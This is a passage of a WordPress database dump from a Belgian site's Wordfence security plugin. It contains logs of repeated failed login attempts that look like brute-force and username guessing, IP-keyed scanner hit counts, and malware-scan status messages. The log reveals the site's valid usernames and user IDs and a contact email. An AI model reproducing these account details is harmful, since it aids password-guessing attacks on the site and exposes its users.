(100069, 1494275333.927779, 1, 'loginFailValidUsername', 'julie', 2, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100070, 1494275334.587700, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100071, 1494275335.237436, 1, 'loginFailValidUsername', 'pablo', 3, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100072, 1494275335.879949, 1, 'loginFailValidUsername', 'admin', 1, 96794361, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100073, 1494291560.175931, 1, 'loginFailValidUsername', 'julie', 2, 3190654548, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.66.13 (KHTML, like Gecko) Chrome/55.0.5436.0264 Safari/532.06 OPR/41.9.4713.9441'),
(100074, 1494298029.411056, 1, 'loginFailValidUsername', 'julie', 2, 3243069014, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/531.74.21 (KHTML, like Gecko) Chrome/55.1.6285.1912 Safari/532.03 OPR/42.0.5462.9190'),
(100075, 1494304480.785613, 1, 'loginFailValidUsername', 'julie', 2, 1610003583, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/531.73.20 (KHTML, like Gecko) Chrome/56.1.6147.1875 Safari/532.12 OPR/42.0.5335.0063'),
(100076, 1494310133.818797, 1, 'loginFailValidUsername', 'admin', 1, 736163900, 'XML-RPC.NET'),
(100077, 1494310936.218019, 1, 'loginFailValidUsername', 'julie', 2, 3411101549, 'Mozilla/5.0 (Windows NT 6.0; rv:45.64.01) Gecko/20152151 Firefox/45.64.01'),
(100078, 1494317156.488803, 1, 'loginFailValidUsername', 'julie', 2, 528523110, 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/533.96.49 (KHTML, like Gecko) Chrome/57.5.0846.5118 Safari/530.67 OPR/40.6.2569.7831'),
(100079, 1494324707.225711, 1, 'loginFailValidUsername', 'admin', 1, 1743082501, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100080, 1494329170.220379, 1, 'loginFailValidUsername', 'julie', 2, 1489603430, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_58_01) AppleWebKit/534.16.69 (KHTML, like Gecko) Chrome/53.6.1806.7178 Safari/530.77 Edge/34.83572'),
(100081, 1494335196.319019, 1, 'loginFailValidUsername', 'julie', 2, 736614910, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/535.13.76 (KHTML, like Gecko) Version/4.7.2 Safari/533.31'),
(100082, 1494341198.178507, 1, 'loginFailValidUsername', 'julie', 2, 3159064624, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_25_88; rv:45.76.29) Gecko/20131478 Firefox/45.76.29'),
(100083, 1494343641.217313, 1, 'loginFailInvalidUsername', 'notre', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100084, 1494343643.115287, 1, 'loginFailInvalidUsername', 'pour', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100085, 1494343644.985104, 1, 'loginFailInvalidUsername', 'cross', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100086, 1494343646.908742, 1, 'loginFailInvalidUsername', 'objectifs', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100087, 1494343649.042228, 1, 'loginFailInvalidUsername', 'venez', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100088, 1494343650.898066, 1, 'loginFailInvalidUsername', 'outils', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(100089, 1494343652.854581, 1, 'loginFailInvalidUsername', 'professionnel', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100090, 1494343654.828309, 1, 'loginFailInvalidUsername', 'travail', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100091, 1494343657.673368, 1, 'loginFailInvalidUsername', 'namur', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100092, 1494343659.706190, 1, 'loginFailInvalidUsername', 'center', 0, 2917982362, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100093, 1494344413.478876, 1, 'loginFailInvalidUsername', 'test', 0, 3590043250, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100094, 1494344829.131689, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100095, 1494344830.953201, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100096, 1494344832.763122, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100097, 1494344834.599632, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100098, 1494344836.445443, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100099, 1494344838.347988, 1, 'loginFailInvalidUsername', 'user', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100100, 1494344840.195090, 1, 'loginFailValidUsername', 'admin', 1, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100101, 1494344842.028954, 1, 'loginFailValidUsername', 'admin', 1, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100102, 1494344843.859600, 1, 'loginFailValidUsername', 'julie', 2, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100103, 1494344845.898923, 1, 'loginFailValidUsername', 'pablo', 3, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100104, 1494345339.842912, 1, 'loginFailInvalidUsername', 'vous', 0, 1299175467, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100105, 1494347044.128576, 1, 'loginFailValidUsername', 'julie', 2, 3183178439, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.66.13 (KHTML, like Gecko) Chrome/55.1.5516.0244 Safari/532.06 OPR/42.9.4794.9422'),
(100106, 1494352811.132894, 1, 'loginFailValidUsername', 'julie', 2, 657107382, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/534.17.60 (KHTML, like Gecko) Version/4.7.2 Safari/533.34'),
(100107, 1494358577.932459, 1, 'loginFailValidUsername', 'julie', 2, 1742133325, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.63.10 (KHTML, like Gecko) Chrome/55.0.5127.0855 Safari/532.02 OPR/41.9.4404.9132'),
(100108, 1494364417.351143, 1, 'loginFailValidUsername', 'julie', 2, 2979827550, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/536.36.89 (KHTML, like Gecko) Chrome/54.8.4837.9109 Safari/531.97'),
(100109, 1494376423.065829, 1, 'loginFailValidUsername', 'julie', 2, 2001428387, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.69.12) Gecko/20161628 Firefox/52.69.12'),
(100110, 1494381206.595518, 1, 'loginFailValidUsername', 'julie', 2, 3004848413, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_31_84) AppleWebKit/532.90.43 (KHTML, like Gecko) Chrome/57.5.0283.5555 Safari/534.51 Edge/34.67344'),
(100111, 1494387678.942648, 1, 'loginFailValidUsername', 'julie', 2, 1934610389, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.18.65 (KHTML, like Gecko) Chrome/53.6.0648.5376 Safari/534.57'),
(100112, 1494394076.643271, 1, 'loginFailValidUsername', 'julie', 2, 1389492631, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/536.38.81 (KHTML, like Gecko) Chrome/54.8.4090.9363 Safari/531.99'),
(100113, 1494406468.533725, 1, 'loginFailValidUsername', 'julie', 2, 3058309450, 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_55_08) AppleWebKit/534.04.57 (KHTML, like Gecko) Chrome/53.6.1611.6983 Safari/530.75 Edge/34.71626'),
(100114, 1494418422.204496, 1, 'loginFailValidUsername', 'julie', 2, 3075668780, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_36_88) AppleWebKit/532.94.47 (KHTML, like Gecko) Chrome/57.4.9601.5973 Safari/534.55'),
(100115, 1494424332.222221, 1, 'loginFailValidUsername', 'julie', 2, 453246710, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/531.60.18 (KHTML, like Gecko) Chrome/55.1.5972.0600 Safari/532.00 OPR/42.9.4169.9897'),
(100116, 1494430204.331461, 1, 'loginFailValidUsername', 'julie', 2, 1744766542, 'Mozilla/5.0 (Windows NT 6.2; WOW64; x64) AppleWebKit/530.67.14 (KHTML, like Gecko) Chrome/55.1.5677.0305 Safari/532.07 OPR/41.9.4855.9583'),
(100117, 1494435792.059045, 1, 'loginFailValidUsername', 'julie', 2, 1768589606, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.17.64 (KHTML, like Gecko) Chrome/53.5.0672.5300 Safari/534.47'),
(100118, 1494439952.522844, 1, 'loginFailValidUsername', 'julie', 2, 3190256054, 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.13.66 (KHTML, like Gecko) Version/4.7.2 Safari/533.21'),
(100119, 1494445481.624401, 1, 'loginFailValidUsername', 'julie', 2, 1410741964, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/533.08.51 (KHTML, like Gecko) Version/5.6.1 Safari/532.15'),
(100120, 1494449630.290643, 1, 'loginFailValidUsername', 'julie', 2, 1469388680, 'Mozilla/5.0 (Windows NT 5.1; WOW64; x64) AppleWebKit/531.74.21 (KHTML, like Gecko) Chrome/56.2.6224.1952 Safari/532.13 OPR/42.0.5501.0239'),
(100121, 1494453790.049272, 1, 'loginFailValidUsername', 'julie', 2, 2323001623, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.29.82 (KHTML, like Gecko) Chrome/54.8.3185.8457 Safari/531.90'),
(100122, 1494458200.523648, 1, 'loginFailValidUsername', 'julie', 2, 3308264343, 'Mozilla/5.0 (Windows NT 6.2; Win64) AppleWebKit/530.63.00 (KHTML, like Gecko) Chrome/55.0.5131.0869 Safari/531.93 OPR/41.9.3418.8146'),
(100123, 1494462514.811885, 1, 'loginFailValidUsername', 'julie', 2, 1892208309, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.84.31 (KHTML, like Gecko) Version/5.2.7 Safari/530.76'),
(100124, 1494467001.981335, 1, 'loginFailValidUsername', 'julie', 2, 609118280, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_28_81) AppleWebKit/532.87.30 (KHTML, like Gecko) Chrome/57.4.9922.4294 Safari/534.58'),
(100125, 1494471511.262246, 1, 'loginFailValidUsername', 'julie', 2, 2107873451, 'Mozilla/5.0 (Windows NT 6.0; rv:45.66.03) Gecko/20155056 Firefox/45.66.03'),
(100126, 1494472932.299568, 1, 'loginFailValidUsername', 'admin', 1, 1389487932, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(100127, 1494476036.342306, 1, 'loginFailValidUsername', 'julie', 2, 3211855785, 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_48_91) AppleWebKit/533.07.50 (KHTML, like Gecko) Chrome/57.5.0904.6276 Safari/530.67 Edge/34.73549'),
(100128, 1494480556.931328, 1, 'loginFailValidUsername', 'julie', 2, 2588180238, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/531.79.26 (KHTML, like Gecko) Chrome/56.2.6802.1530 Safari/532.19 OPR/42.0.5089.0717'),
(100129, 1494491133.608045, 1, 'loginFailValidUsername', 'julie', 2, 2996213217, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:52.55.18) Gecko/20167850 Firefox/52.55.18'),
(100130, 1494497128.816834, 1, 'loginFailValidUsername', 'julie', 2, 696935125, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.64.17) Gecko/20176812 Firefox/45.64.17'),
(100131, 1494503072.101910, 1, 'loginFailValidUsername', 'julie', 2, 1744766316, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/535.22.85 (KHTML, like Gecko) Chrome/54.8.3311.8683 Safari/531.92'),
(100132, 1494508951.619215, 1, 'loginFailValidUsername', 'julie', 2, 2081250832, 'Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.80.27 (KHTML, like Gecko) Chrome/56.2.7823.1550 Safari/532.19 OPR/42.1.5100.0838'),
(100133, 1494514787.949353, 1, 'loginFailValidUsername', 'julie', 2, 1347203962, 'Mozilla/5.0 (Windows NT 5.0) AppleWebKit/532.86.33 (KHTML, like Gecko) Version/5.3.8 Safari/530.79'),
(100134, 1494519754.579324, 1, 'loginFailInvalidUsername', 'namur', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100135, 1494519766.544185, 1, 'loginFailInvalidUsername', 'center', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100136, 1494519772.854971, 1, 'loginFailValidUsername', 'admin', 1, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100137, 1494519780.273676, 1, 'loginFailValidUsername', 'julie', 2, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100138, 1494519791.297207, 1, 'loginFailValidUsername', 'pablo', 3, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100139, 1494519802.256258, 1, 'loginFailInvalidUsername', 'vous', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100140, 1494519811.497959, 1, 'loginFailInvalidUsername', 'training', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100141, 1494519817.354555, 1, 'loginFailInvalidUsername', 'notre', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100142, 1494519822.463162, 1, 'loginFailInvalidUsername', 'pour', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100143, 1494519826.764700, 1, 'loginFailInvalidUsername', 'cross', 0, 1009505852, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100144, 1494520585.950960, 1, 'loginFailInvalidUsername', 'objectifs', 0, 1743847615, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100145, 1494520601.831770, 1, 'loginFailValidUsername', 'julie', 2, 3195175839, 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.70.23) Gecko/20172282 Firefox/45.70.23'),
(100146, 1494521117.313936, 1, 'loginFailInvalidUsername', 'info@crosstrainingcenter.be', 0, 2513063543, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100147, 1494521597.170272, 1, 'loginFailInvalidUsername', 'info@crosstrainingcenter.be', 0, 1570692602, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100148, 1494522195.241519, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100149, 1494522199.496904, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100150, 1494522201.771087, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100151, 1494522204.329105, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100152, 1494522206.822933, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100153, 1494522209.394825, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100154, 1494522211.949903, 1, 'loginFailInvalidUsername', 'webmaster', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100155, 1494522214.265599, 1, 'loginFailInvalidUsername', 'testuser', 0, 2575217096, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
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INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
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INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfNet404s`
--

CREATE TABLE `wp_wfNet404s` (
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  `ctime` int(10) UNSIGNED NOT NULL,
  `URI` varchar(1000) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfNet404s`
--

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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfReverseCache`
--

CREATE TABLE `wp_wfReverseCache` (
  `IP` int(10) UNSIGNED NOT NULL,
  `host` varchar(255) NOT NULL,
  `lastUpdate` int(10) UNSIGNED NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfScanners`
--

CREATE TABLE `wp_wfScanners` (
  `eMin` int(10) UNSIGNED NOT NULL,
  `IP` int(10) UNSIGNED NOT NULL,
  `hits` smallint(5) UNSIGNED NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Déchargement des données de la table `wp_wfScanners`
--

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(24991002, 1538595673, 1),
(24991263, 1600959233, 1),
(24991312, 3110395569, 1),
(24991568, 3024883602, 1),
(24991727, 608921439, 1),
(24991759, 1538595673, 1),
(24992110, 1463832178, 10),
(24992278, 1463832178, 2),
(24992278, 632835177, 5),
(24992279, 632835177, 3),
(24992293, 632920713, 1),
(24992804, 1539836988, 2),
(24992870, 1054002081, 1),
(24993161, 783504431, 8),
(24993161, 3273261683, 2),
(24993201, 1123635081, 1),
(24993249, 1837838730, 1),
(24993672, 1123633613, 1),
(24993772, 1463832178, 10),
(24993910, 757138080, 1),
(24994627, 1463832178, 10),
(24994791, 1463832178, 10),
(24994837, 633034955, 1),
(24994855, 3107193141, 1),
(24994967, 1463832178, 10),
(24994974, 1463832178, 10),
(24995051, 919627301, 1),
(24995242, 620874844, 1),
(24995370, 1837280593, 12),
(24995554, 1123632645, 1),
(24995786, 1379793056, 1),
(24995952, 3273261687, 10),
(24996043, 2631448407, 1),
(24996180, 1837280593, 12),
(24996263, 3154445620, 10),
(24996315, 1375118415, 1),
(24996410, 1332604279, 1),
(24996490, 3281714082, 1),
(24996715, 1375113052, 20),
(24996750, 1532393936, 1),
(24997407, 1375113052, 5),
(24997408, 1375113052, 5),
(24997494, 1532393936, 1),
(24997648, 1463955851, 10),
(24998140, 1332604279, 1),
(24998199, 3325718858, 1),
(24998534, 2499535434, 1),
(24998689, 1539836988, 1),
(24999056, 1332604279, 1),
(24999072, 3250483965, 1),
(24999204, 3154453301, 10),
(24999345, 1538656104, 12),
(24999508, 1375113052, 10),
(24999919, 3657082077, 1),
(25000205, 3373404845, 5),
(25000234, 2342668003, 1),
(25000258, 3652607482, 1),
(25000677, 3649630461, 1),
(25000759, 1538656104, 12),
(25000825, 1538656104, 12),
(25001011, 1375113052, 10),
(25001192, 1837280593, 12),
(25001447, 3233512354, 4),
(25001654, 1538656104, 12),
(25002206, 1742919172, 15),
(25002206, 1742919169, 14),
(25002233, 1742919172, 1),
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(25002357, 1538656104, 12),
(25002398, 1538656104, 12),
(25002447, 1538656104, 12),
(25002454, 1538656104, 12),
(25002605, 1837280593, 12),
(25003136, 1374958463, 1),
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(25003308, 1539836988, 1),
(25003340, 1463849781, 1),
(25003395, 621928491, 1),
(25003605, 1540278299, 1),
(25004286, 3281714082, 1),
(25004982, 1375113052, 10),
(25005276, 1375113052, 10),
(25005325, 1375113052, 10),
(25005868, 3281714082, 1),
(25006001, 1538358128, 1),
(25006394, 3256705680, 1),
(25006545, 1052827874, 1),
(25006679, 1427857479, 1),
(25006700, 1375113052, 1),
(25006701, 1375113052, 9),
(25006798, 3024883471, 1),
(25007010, 1538592859, 1),
(25007260, 1539836988, 1),
(25007855, 1055643893, 2);

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfStatus`
--

CREATE TABLE `wp_wfStatus` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `ctime` double(17,6) UNSIGNED NOT NULL,
  `level` tinyint(3) UNSIGNED NOT NULL,
  `type` char(5) NOT NULL,
  `msg` varchar(1000) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfStatus`
--

INSERT INTO `wp_wfStatus` (`id`, `ctime`, `level`, `type`, `msg`) VALUES
(118136, 1492290942.757329, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(117369, 1491943535.470579, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117368, 1491943535.282504, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117367, 1491943535.002886, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117035, 1491750762.636499, 2, 'info', 'Starting scan of file contents'),
(117036, 1491750763.659355, 2, 'info', 'Scanned contents of 28 additional files at 27.39 per second'),
(117037, 1491750764.664138, 2, 'info', 'Scanned contents of 40 additional files at 19.73 per second'),
(117038, 1491750765.608326, 2, 'info', 'Scanned contents of 86 additional files at 28.94 per second'),
(117039, 1491750765.609197, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117040, 1491750765.610905, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117041, 1491750766.458654, 2, 'info', 'Done host key check.'),
(117042, 1491750766.459760, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117205, 1491821934.460034, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(117410, 1491943546.642670, 2, 'info', 'Starting password strength check on 3 users.'),
(117704, 1492108229.559657, 2, 'info', 'Found 14 plugins'),
(117703, 1492108229.393172, 2, 'info', 'Getting plugin list from WordPress'),
(117702, 1492108228.517528, 1, 'info', 'Contacting Wordfence to initiate scan'),
(118204, 1492320259.590769, 10, 'info', 'SUM_ENDOK:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118205, 1492320259.596038, 10, 'info', 'SUM_START:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(118203, 1492320259.572865, 2, 'info', 'Done examining URls'),
(118198, 1492320258.655249, 10, 'info', 'SUM_ENDOK:Scanning files for URLs in Google\'s Safe Browsing List'),
(118199, 1492320258.662800, 10, 'info', 'SUM_START:Scanning posts for URL\'s in Google\'s Safe Browsing List'),
(118200, 1492320258.698980, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(118201, 1492320258.705119, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118202, 1492320259.571407, 2, 'info', 'Done host key check.'),
(117884, 1492265523.406181, 2, 'info', 'Found 4 themes'),
(117428, 1491988746.248769, 1, 'info', 'Scheduled Wordfence scan starting at Wednesday 12th of April 2017 09:19:06 AM'),
(117417, 1491943547.709762, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117416, 1491943547.709141, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117415, 1491943547.702207, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117414, 1491943547.699341, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117413, 1491943547.698433, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117893, 1492265526.746451, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(116952, 1491702317.195127, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(116961, 1491702318.963405, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(116953, 1491702318.066070, 2, 'info', 'Done host key check.'),
(117761, 1492108251.526786, 2, 'info', 'Done examining URls'),
(117760, 1492108251.526349, 2, 'info', 'Done host key check.'),
(116960, 1491702318.961621, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117272, 1491886398.011599, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117273, 1491886398.274547, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(116956, 1491702318.918813, 2, 'info', 'Done file contents scan'),
(117274, 1491886398.541811, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(116954, 1491702318.068558, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(116955, 1491702318.907870, 2, 'info', 'Done URL check.'),
(118029, 1492280432.016393, 10, 'info', 'SUM_START:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(118030, 1492280432.096740, 10, 'info', 'SUM_ENDOK:Scanning comments for URL\'s in Google\'s Safe Browsing List'),
(117705, 1492108229.564197, 2, 'info', 'Getting theme list from WordPress'),
(117706, 1492108229.608742, 2, 'info', 'Found 4 themes'),
(117402, 1491943545.675865, 2, 'info', 'Examining URLs found in posts we scanned for dangerous websites'),
(117916, 1492265536.041093, 2, 'info', 'Analyzed 2400 files containing 37.48 MB of data so far'),
(117905, 1492265530.818478, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117906, 1492265531.127129, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117907, 1492265531.319452, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117908, 1492265531.766808, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117909, 1492265532.116014, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
